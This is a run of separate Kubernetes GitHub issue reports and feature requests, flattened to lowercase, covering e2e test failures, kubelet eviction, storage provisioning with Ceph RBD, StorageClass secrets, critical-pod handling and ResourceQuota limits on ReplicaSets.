23:22:34 util.go:155: running: ./cluster/log-dump/log-dump.sh /workspace/_artifacts gs://kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/32/artifacts\r w1118 23:22:35.036  trying to find master named 'gce-scale-cluster-master'\r w1118 23:22:35.036  looking for address 'gce-scale-cluster-master-ip'\r w1118 23:22:35.638  using master: gce-scale-cluster-master  external ip: 35.196.3.65 \r i1118 23:22:53.377  changing logfiles to be world-readable for download\r i1118 23:22:56.217  copying 'kube-apiserver kube-apiserver-audit kube-scheduler rescheduler kube-controller-manager etcd etcd-events glbc cluster-autoscaler kube-addon-manager fluentd startupscript' from gce-scale-cluster-master\r w1118 23:22:57.268  \r w1118 23:22:57.268  specify --start=50640 in the next get-serial-port-output invocation to get only the new output starting from here.\r w1118 23:24:49.711  scp: /var/log/cluster-autoscaler.log : no such file or directory\r w1118 23:24:49.785  scp: /var/log/fluentd.log : no such file or directory\r w1118 23:24:49.785  scp: /var/log/startupscript.log : no such file or directory\r w1118 23:24:49.791  error:  gcloud.compute.scp   /usr/bin/scp  exited with return code  1 .\r i1118 23:24:49.891  dumping logs from nodes to gcs directly at 'gs://kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/32/artifacts' using logexporter\r i1118 23:24:49.892  detecting nodes in the cluster\r i1118 23:24:59.975  namespace \ logexporter\  created\r i1118 23:25:00.018  secret \ google-service-account\  created\r i1118 23:25:00.119  daemonset \ logexporter\  created\r i1118 23:43:13.445  successfully listed marker files for successful nodes\r i1118 23:43:13.471  logexporter didn't succeed on node gce-scale-cluster-minion-group-00rx. queuing it for logdump through ssh.\r  ... lots of repetitions of the last line for other nodes ... \r    \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:254\r test panicked\r /usr/local/go/src/runtime/panic.go:491\r    \r \r    \r error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ |\\ disabledforlargeclusters\\  --allowed-not-ready-nodes=50 --node-schedulable-timeout=90m --minstartuppods=8 --gather-resource-usage=master --gather-metrics-at-teardown=master --logexporter-gcs-path=gs://kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/32/artifacts --report-dir=/workspace/_artifacts --disable-log-dump=true --cluster-ip-range=10.64.0.0/11: exit status 1\r    \r \r umbrella issue -  55194 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r feature request\r \r  \r over at sig-winows we've been starting the process of running e2e tests against clusters with windows nodes. the main issues we face is that the test images for the e2e tests are not configurable, the repositories are defined  here  https://github.com/kubernetes/kubernetes/blob/master/test/utils/image/manifest.go . it would be helpful to change these via env vars or passed in a config file.\r \r the second issue is that the images used for testing are linux based. they can have separate docker files for windows and linux and have the image build script take that into account.\r \r  

 \r   what happened  : i've been trying to create an example of how kubernetes can integrate with the upcoming  cloudevents spec  https://github.com/cloudevents/spec . i wanted to model k8s events as cloudevents, but ran into a brick wall when creating the cloudevent's  source  field. it seems like this should be the   metadata.selflink   https://godoc.org/k8s.io/apimachinery/pkg/apis/meta/v1 objectmeta  of the  api/core/v1.  event.involvedobject  https://godoc.org/k8s.io/api/core/v1 event . unfortunately there isn't enough information to create the selflink\r \r   what you expected to happen  :\r ideally, v1.event would have a selflink in the invovledobject. otherwise:\r 1. objectmeta.apiversion would have version info for the api  it's currently just the api domain without the \ /version\  suffix \r 2. there would be some easy/canonical way to get the collection name from the type  e.g. converting kind: feed to \ feeds/\  in the selflink.\r \r   how to reproduce it  as minimally and precisely as possible   :\r inspect any api/core/v1.event\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.7-gke.3\ , gitcommit:\ 9b5b719c5f295c99de68ffb5b63101b0e0175376\ , gittreestate:\ clean\ , builddate:\ 2018-05-31t18:32:23z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r \r    \r build_id=10323.85.0\r name=\ container-optimized os\ \r kernel_commit_id=d58a9a62296e94669227df3362396c7f86e550c7\r google_crash_id=lakitu\r version_id=65\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=65\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux gke-west-default-pool-41dbf2ba-qvrh 4.4.111+  1 smp sat may 5 12:48:47 pdt 2018 x86_64 intel r  xeon \r r  cpu @ 2.20ghz genuineintel gnu/linux\r    \r \r - install tools: ko\r

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r kubernetes v1.8.1\r \r i've already tested when kubelet use ‘----eviction-hard=’  flag，notice that there's only a key here and no value，then only tested node disk is full（/ and /home used is 100%，this is equivalent to\r nodefs.available=100%）pod not eviction, and i do not see pressure status use  kubectl describe node xxx  ，but i'm still wondering if this is standard practice, and it looks really weird。\r \r  \r

this issue is originally discussed in:https://groups.google.com/forum/ !topic/google-containers/azph4tbwqjg  it's about the user can't customize infra. container, for example, pass a env to infra. container for socketplane network usage:  https://github.com/socketplane/socketplane/blob/master/powerstrip.md  for now, our quick fix is modifiing part of code in kubelet to pass a pod's label \ sp_network=group1\  as parameter of network container.

see https://github.com/kubernetes/kubernetes/blob/master/pkg/apiserver/apiserver.go l96.   it was  apigroupversion.serverversion  before .  it seems like those values should always be unversioned.  spawned from: https://github.com/kubernetes/kubernetes/pull/17175/files r44783763  @liggitt @caesarxuchao

i'm getting this error on my google cloud cluster:      i1117 22:56:55.385576    3509 kubelet.go:977  unable to register kubernetes-minion-frx1 with the apiserver: post https://kubernetes-master/api/v1/nodes: x509: cert ificate signed by unknown authority      using the default  ./cluster/kube-up.sh   to reproduce: - kube-up - everything is working fine - delete one of the instances from the autoscaling group - the new instance will fail with this error continuously

this is a really early draft of how the different bootstrapping tools could be ordered and how they interact. it uses concepts from  2030 and  2068 heavily. until these are pinpointed it's quite drafty.  build container based on envs and config templates   build encrypted data volume container with gpg encryption and docker/docker 8021   deploy via k8s and env-file bind data volume container to /var/secrets   use envs  with seed secret  to decrypt data volume container -> seed secret = gpg key? use endpoint \ /bootstrap.sh\    -> run /var/secrets/envs.sh for credentials, pws etc. if backend=env   -> run /keys.sh to copy keys to actual locations   -> run confd with env/etcd/consul to produce config files   -> start actual process via confd  needs a lot more input!

girish - need a good description/writeup for this feature   provide a new mode of pod cidr allocation for nodes instead of the current discovery mechanism.

currently, storageclass contains  map string string  with configuration for dynamic provisioning. these parameters are passed to volume plugin to provisioning a volume. some provisioners  e.g. gluster  need also username and password in order to access the remote storage appliance and provision something.  it's undesirable to have a password in clear text in storageclass and we should find a way how to pass a reference to secret there.  couple of thought discussed on sig-storage call: - add secret referece to storageclass api object and passing it through all the controllers to volume plugins seems like the most clean way. - secrets are namespaced, while storageclass is not.   - it is undesirable to take the secret from a namespace where the provisioned pvc comes from - it would show the password to all users in that namespace.    - should there be a special namespace for these secrets?  @kubernetes/sig-storage

in the docs we often tell users to  kubectl proxy  then do some other command e.g.  curl .  it would be nice if we had something similar to what  find --exec 'ls {}'  provides where we have kubectl setup the proxy and run the command sustituting in the url then tear down the proxy.   kubectl proxy --exec \ curl {}/api/v1/...\

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/15121/  failed:  k8s.io  cadvisor should be healthy on every node. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 sep  9 03:04:50.054: couldn't delete ns: \ e2e-tests-cadvisor-eb65i\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-cadvisor-eb65i/events\\\ \   has prevented the request from succeeding  get events   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-cadvisor-eb65i/events\\\\\\\ \\\   has prevented the request from succeeding  get events \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc820b46190 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

forked from https://github.com/kubernetes/kubernetes/issues/22212\r \r tl;dr; work items in order of priority:\r \r -  x   from https://github.com/kubernetes/kubernetes/issues/38322 issuecomment-273631002   critical pod annotation will not be enabled by default and will only work for a special namespace  kube-system  pr  40655\r -  x  critical pods do not get evicted pr  40655\r -  x  kubelet preempts non critical pods to make room for \ critical\  pods during admission  40952 \r -  x  kubelet avoids evicting multiple pods in succession unless absolutely necessary  42435\r -  x  guarantee admission for critical pods even under resource pressure  41701\r -  x  increase kube-proxy oom score adj to reduce its chances of hitting system ooms  41700\r -  x  evict critical pods that are not static pods -  41701\r \r the rest of the work items are not strictly necessary for v1.6 but are included for the sake of completeness.\r -     kube-proxy is moved to  guaranteed  qos class  @thockin @matchstick fyi \r -     kube-proxy is moved to a daemonset - we need to introduce node labels to avoid scheduling kube proxy on to nodes that are already running it via static pods.   @thockin @matchstick fyi \r -     document that usage of static pods along with regular apiserver pods on a node is discouraged.\r -     evict all critical pods. this cannot be done until kube-proxy moves to a daemonset. \r \r if we care about supporting static pods safely along with regular apiserver pods, possibly for bootstrapping, the next feature would matter. without the feature mentioned below, static pods that have been evicted earlier will get restarted after kubelet restarts and might cause other running pods to get booted due to resource constraints.\r -     kubelet switches to running only in \ local\  or \ remote\  mode \r \r ----------------------------------\r kubernetes lacks the notion of \ priority\  among pods. a  pod level annotation  https://kubernetes.io/docs/admin/rescheduler/  was introduced through which a rescheduler will make room and successfully place a pod marked as \ critical\  onto a node by evicting some existing pods.\r this feature however does not work for pods that have been directly placed on nodes. examples of pods directly placed on nodes include pods managed by daemonset and static pods. \r typically pods that are managed through daemonsets and static manifest files are of high  the system. given that the rescheduler will not help pods from these sources, there needs to be an alternative means to guarantee admission of such critical pods.\r \r a viable solution is that of having the kubelet preempt existing pods to make room for a critical pod if required. \r \r note that the critical pod annotation can be easily abused and so as discussed in https://github.com/kubernetes/kubernetes/issues/38322 issuecomment-273631002, the critical pod annotation will be available only as an opt-in solution and be restricted to a single namespace. any user who intends to manage critical pods will have to place them in that special namespace   kube-system  .\r \r until we have preemption available in the kubelet though, it is not safe to evict \ critical\  pods for a couple of reasons:\r 1. static pods do not get restarted once they get evicted  more on this below \r 2. new instances of pods placed directly on the node  daemonset  may not be admitted due to lack of compute resources.\r \r for these reasons, we will avoid evicting \ critical\  pods. \r there is a possibility of \ critical\  pods having memory or storage leak bugs that could lead to unexpected usage of memory or disk. for this purpose, it is safer to at-least restart \ critical\  pods instead of evicting them. however, restart of pods in kubelet is currently difficult to implement. it requires tearing down of all containers, volumes, pod level cgroups, etc and re-creating them.\r \r given that we are implementing \ preemption\  soon, we will temporarily just simply ignore \ critical\  pods when a node is under resource pressure.\r \r now onto static pods. once a static pod gets evicted, it will not be re-started by a kubelet unless it restarts. when it restarts, the kubelet simply admits all static pods even ones that have been previously evicted  cc @yujuhong .\r as a result of this, a static pod that was once evicted and is not expected to be running will be admitted and a regular pod that was already running on the node might be booted from the node.\r this behavior is highly undesirable. kubelet can look at the \ mirror pod\  for a static pod and decide not to recreate previously evicted static pods. but this is only possible if the kubelet has access to the apiserver before it processes static pods. \r instead of attempting to solve this problem, we will instead attempt to avoid using static pods as much as possible in production.\r in addition, we need to update kubelet to only operate in one of two modes \ local\  or \ remote\ . once the kubelet switches to \ remote\  apiserver mode, it will stop accepting any \ local\  static  or http  pods. if the kubelet is explicitly switched back to \ local\  mode, it will evict all \ remote\ /unknown pods and only manage \ local\  pods. upon switching from \ local\  to \ remote\ , the kubelet will create mirror pod objects for \ local\  pods and then transfer control of those pods to the apiserver.\r \r \r \r @dashpole ^^\r \r fyi: @dchen1107 @thockin @davidopp @erictune @derekwaynecarr @smarterclayton \r \r \r \r

bug report  \r <!--\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  : linux\r -   cloud provider or hardware configuration  : libvirt vm\r -   os   : ubuntu 16.04.2 lts\r -   kernel  : 4.4.0-72-generic\r -   docker version  :\r   client:\r     version:      17.03.1-ce\r     api version:  1.27\r     go version:   go1.7.5\r     git commit:   c6d412e\r     built:        mon mar 27 17:14:09 2017\r     os/arch:      linux/amd64\r \r   server:\r     version:      17.03.1-ce\r     api version:  1.27  minimum version 1.12 \r     go version:   go1.7.5\r     git commit:   c6d412e\r     built:        mon mar 27 17:14:09 2017\r     os/arch:      linux/amd64\r     experimental: false\r \r \r   what happened  :\r error in building etcd docker image.\r \r   what you expected to happen  :\r build etcd docker image.\r \r   how to reproduce it  \r \r cd kubernetes/cluster/images/etcd; make\r \r   anything else we need to know  :\r \r   error trace:  \r \\  copy the content in this dir to the temp dir,\r \\  without copying the subdirectories.\r find ./ -maxdepth 1 -type f | xargs cp -t /tmp/tmp.smibmjfu3u\r \\  compile attachlease\r docker run -it -v /usr/local/src/kubernetes/cluster/images/etcd/../../../:/go/src/k8s.io/kubernetes -v /tmp/tmp.smibmjfu3u:/build -e goarch=amd64 golang:1.7.5 \\\r \t/bin/bash -c \ cgo_enabled=0 go build -o /build/attachlease k8s.io/kubernetes/cluster/images/etcd/attachlease\ \r src/k8s.io/kubernetes/cluster/images/etcd/attachlease/attachlease.go:24:2: cannot find package \ github.com/coreos/etcd/clientv3\  in any of:\r \t/usr/local/go/src/github.com/coreos/etcd/clientv3  from $goroot \r \t/go/src/github.com/coreos/etcd/clientv3  from $gopath \r src/k8s.io/kubernetes/cluster/images/etcd/attachlease/attachlease.go:25:2: cannot find package \ github.com/golang/glog\  in any of:\r \t/usr/local/go/src/github.com/golang/glog  from $goroot \r \t/go/src/github.com/golang/glog  from $gopath \r src/k8s.io/kubernetes/cluster/images/etcd/attachlease/attachlease.go:26:2: cannot find package \ golang.org/x/net/context\  in any of:\r \t/usr/local/go/src/golang.org/x/net/context  from $goroot \r \t/go/src/golang.org/x/net/context  from $gopath \r makefile:57: recipe for target 'build' failed\r make:      build  error 1\r \r   syslog error trace:  \r kernel:   3546.325359  aufs au_opts_verify:1597:dockerd 1078 : dirperm1 breaks the protection by the permission bits on the lower branch\r kernel:   3546.455895  aufs au_opts_verify:1597:dockerd 1078 : dirperm1 breaks the protection by the permission bits on the lower branch\r  systemd-udevd 6844 : could not generate persistent mac address for vethddbfb97: no such file or directory\r systemd-udevd 6846 : could not generate persistent mac address for veth30bc249: no such file or directory\r kernel:   3546.572826  aufs au_opts_verify:1597:dockerd 1078 : dirperm1 breaks the protection by the permission bits on the lower branch\r kernel:   3546.574085  device veth30bc249 entered promiscuous mode\r kernel:   3546.574129  ipv6: addrconf netdev_up : veth30bc249: link is not ready\r kernel:   3546.892049  eth0: renamed from vethddbfb97\r kernel:   3546.903898  ipv6: addrconf netdev_change : veth30bc249: link becomes ready\r kernel:   3546.903937  docker0: port 1 veth30bc249  entered forwarding state\r kernel:   3546.903942  docker0: port 1 veth30bc249  entered forwarding state\r kernel:   3547.137766  vethddbfb97: renamed from eth0\r kernel:   3547.180415  docker0: port 1 veth30bc249  entered disabled state\r kernel:   3547.234698  docker0: port 1 veth30bc249  entered disabled state\r kernel:   3547.235147  device veth30bc249 left promiscuous mode\r kernel:   3547.235149  docker0: port 1 veth30bc249  entered disabled state\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : ceph, rbd, storageclass, pvc, pv\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r -   kernel    e.g.  uname -a  :\r linux xxx 3.10.0-327.36.3.el7.v3.4.1.xxx.x86_64  1 smp mon oct 31 16:16:32 cst 2016 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i create a storageclass of rbd, then create a pvc claim for it. after seconds, i got a 'kubernetes-dynamic-pvc-xxx' in my pool on my ceph cluster. until now, everything is right.\r \r i found that a pv was create by k8s:\r    \r kubectl get pv pvc-xxx -o yaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     pv.kubernetes.io/provisioned-by: kubernetes.io/rbd\r   creationtimestamp: 2017-04-28t02:43:29z\r   name: pvc-xxx\r   resourceversion: \ 116741\ \r   selflink: /api/v1/persistentvolumespvc-xxx\r   uid: xxx\r spec:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 3gi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: claim1\r     namespace: kube-system\r     resourceversion: \ 116739\ \r     uid: xxx\r   persistentvolumereclaimpolicy: delete\r   rbd:\r     image: kubernetes-dynamic-pvc-xxx\r     keyring: /etc/ceph/keyring\r     monitors:\r     - xxx\r     - xxx\r     - xxx\r     pool: xxx\r     secretref:\r       name: ceph-secret-admin\r     user: search\r   storageclassname: ceph-rbd\r status:\r   phase: bound\r    \r i deleted it from k8s cluster, then i got:\r    \r > kubectl describe pvc claim1\r \r name:\t\tclaim1\r namespace:\tkube-system\r storageclass:\tceph-rbd\r status:\t\tlost\r volume:\t\tpvc-xxx\r labels:\t\t<none>\r annotations:\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ persistentvolumeclaim\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ claim1\ ,\ namespace\ :\ kube-system\ },\ spec\ :{\ accessmodes\ : \ readw...\r \t\tpv.kubernetes.io/bind-completed=yes\r \t\tpv.kubernetes.io/bound-by-controller=yes\r \t\tvolume.beta.kubernetes.io/storage-provisioner=kubernetes.io/rbd\r capacity:\t0\r access modes:\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   1m\t\t1m\t\t1\tpersistentvolume-controller\t\t\tnormal\t\tprovisioningsucceeded\tsuccessfully provisioned volume pvc-xxx using kubernetes.io/rbd\r   20s\t\t20s\t\t1\tpersistentvolume-controller\t\t\twarning\t\tclaimlost\t\tbound claim has lost its persistentvolume. data on the volume is lost!\r    \r \r then i check my ceph pool, i found that the image wasn't deleted. later, i deleted that pvc, but the image is still in my pool.\r \r  btw: if i didn't delete pv and just delete pvc, the image in my pool would be deleted correctly. \r \r related log from controller manager  only one :\r    \r i0428 02:55:37.871535       1 rbd.go:320  successfully created rbd image \ kubernetes-dynamic-pvc-xxx\ \r     \r \r \r \r related k8s object below\r    \r > kubectl get secret ceph-secret-admin -o yaml\r \r apiversion: v1\r data:\r   key: xxx\r kind: secret\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ data\ :{\ key\ :\ xxx\ },\ kind\ :\ secret\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ ceph-secret-admin\ ,\ namespace\ :\ kube-system\ },\ type\ :\ kubernetes.io/rbd\ }\r   creationtimestamp: 2017-04-27t11:14:57z\r   name: ceph-secret-admin\r   namespace: kube-system\r   resourceversion: \ 43406\ \r   selflink: /api/v1/namespaces/kube-system/secrets/ceph-secret-admin\r   uid: xxx\r type: kubernetes.io/rbd\r    \r    \r > kubectl get storageclass ceph-rbd -o yaml\r \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ storage.k8s.io/v1\ ,\ kind\ :\ storageclass\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ ceph-rbd\ ,\ namespace\ :\ \ },\ parameters\ :{\ adminid\ :\ search\ ,\ adminsecretname\ :\ ceph-secret-admin\ ,\ adminsecretnamespace\ :\ kube-system\ ,\ monitors\ :\ xxx,xxx,xxx\ ,\ pool\ :\ k8s_pool\ ,\ userid\ :\ search\ ,\ usersecretname\ :\ ceph-secret-admin\ },\ provisioner\ :\ kubernetes.io/rbd\ }\r   creationtimestamp: 2017-04-27t11:15:19z\r   name: ceph-rbd\r   resourceversion: \ 36369\ \r   selflink: /apis/storage.k8s.io/v1/storageclassesceph-rbd\r   uid: xxx\r parameters:\r   adminid: search\r   adminsecretname: ceph-secret-admin\r   adminsecretnamespace: kube-system\r   monitors: xxx\r   pool: xxx\r   userid: xxx\r   usersecretname: ceph-secret-admin\r provisioner: kubernetes.io/rbd\r    \r    \r > kubectl get pvc claim1 -o yaml\r \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ kind\ :\ persistentvolumeclaim\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ claim1\ ,\ namespace\ :\ kube-system\ },\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,\ resources\ :{\ requests\ :{\ storage\ :\ 3gi\ }},\ storageclassname\ :\ ceph-rbd\ }}\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/rbd\r   creationtimestamp: 2017-04-28t02:55:37z\r   name: claim1\r   namespace: kube-system\r   resourceversion: \ 117836\ \r   selflink: /api/v1/namespaces/kube-system/persistentvolumeclaims/claim1\r   uid: xxx\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 3gi\r   storageclassname: ceph-rbd\r   volumename: pvc-xxx\r status:\r   phase: lost\r    \r   what you expected to happen  :\r intuitively, in production env, if a pv in use of pvc, it shouldn't be deleted.\r  btw, even if i can delete it, the resource should be released. and, a new pv should be recreated. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r it is not possible to express an object count constraint for _replicasets_ in a _resourcequota_ object. at present, _resourcequota_ can  constrain the count of _replicationcontrollers_,  https://github.com/kubernetes/kubernetes/blob/788804142f1b3323523500c2932f511284b6eae9/pkg/quota/evaluator/core/replication_controllers.go l28-l46  but  not _replicasets_  https://github.com/kubernetes/kubernetes/tree/788804142f1b3323523500c2932f511284b6eae9/pkg/quota/evaluator/core .\r \r   what you expected to happen  :\r i expected to be able to include a hard limit on the number of _replicaset_ objects by including a \ replicasets\  field in a _resourcequota_'s \ spec.hard\  object, but the api server rejects such an object.\r    yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   name: core-object-counts\r spec:\r   hard:\r       accepted:\r     replicationcontrollers: 1\r       rejected:\r     replicasets: 1\r    \r \r   how to reproduce it  :\r create the _resourcequota_ object shown above:\r    shell\r % kubectl create -f - <<end\r apiversion: v1\r kind: resourcequota\r metadata:\r   name: core-object-counts\r spec:\r   hard:\r     replicationcontrollers: 1 \r     replicasets: 1\r end\r    \r observe that the api server rejects the proposed object:\r    \r the resourcequota \ core-object-counts\  is invalid: \r   spec.hard replicasets : invalid value: \ replicasets\ : must be a standard resource type or fully qualified\r   spec.hard replicasets : invalid value: \ replicasets\ : must be a standard resource for quota\r    \r \r try again using the qualified resource name:\r    shell\r % kubectl create -f - <<end\r apiversion: v1\r kind: resourcequota\r metadata:\r   name: core-object-counts\r spec:\r   hard:\r     replicationcontrollers: 1 \r     extensions/v1beta1/replicasets: 1\r end\r    \r observe that the api server accepts the proposed object, but that the admission control plugin does not record the used count:\r    shell\r % kubectl get resourcequota core-object-counts-2 -o yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   creationtimestamp: 2017-08-15t12:55:31z\r   name: core-object-counts\r   namespace: elided\r   resourceversion: \ 69721114\ \r   selflink: /api/v1/namespaces/elided/resourcequotas/core-object-counts\r   uid: 05482a90-81b9-11e7-ab5d-3ac4f80ae4b6\r spec:\r   hard:\r     extensions/v1beta1/replicasets: \ 1\ \r     replicationcontrollers: \ 1\ \r status:\r   hard:\r     extensions/v1beta1/replicasets: \ 1\ \r     replicationcontrollers: \ 1\ \r   used:\r     replicationcontrollers: \ 0\ \r    \r note, however, that there are two _replicaset_ objects in this namespace:\r    shell\r % kubectl get replicasets -o name | wc -l\r        2\r    \r \r   anything else we need to know?  :\r \r my primary interest is to preclude _deployment_ objects from leaving behind too many _replicasets_ for cases where someone does not configure \ spec.revisionhistorylimit.\  i understand that this field has since gained a sensible default value, but it's still possible that people can configure it to unreasonable values.\r \r more broadly, though, it looks like  the resourcequota admission control plugin  https://kubernetes.io/docs/admin/admission-controllers/ resourcequota  got off to a strong start with core objects, but hasn't kept up with objects in other groups. why is that so?\r \r   environment  :\r - kubernetes version:  \r   > client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t15:13:53z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r   > \r   > server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.6-21+464b547b816b32\ , gitcommit:\ 464b547b816b32a76944088268b69232ef3571c7\ , gittreestate:\ clean\ , builddate:\ 2017-07-28t20:20:51z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:  \r    none pertinent \r \r - os  e.g. from /etc/os-release :  \r   client: macos sierra 10.12.6\r   server: ubuntu 16.04.1 lts\r \r - kernel  e.g.  uname -a  :  \r   4.4.0-78-generic

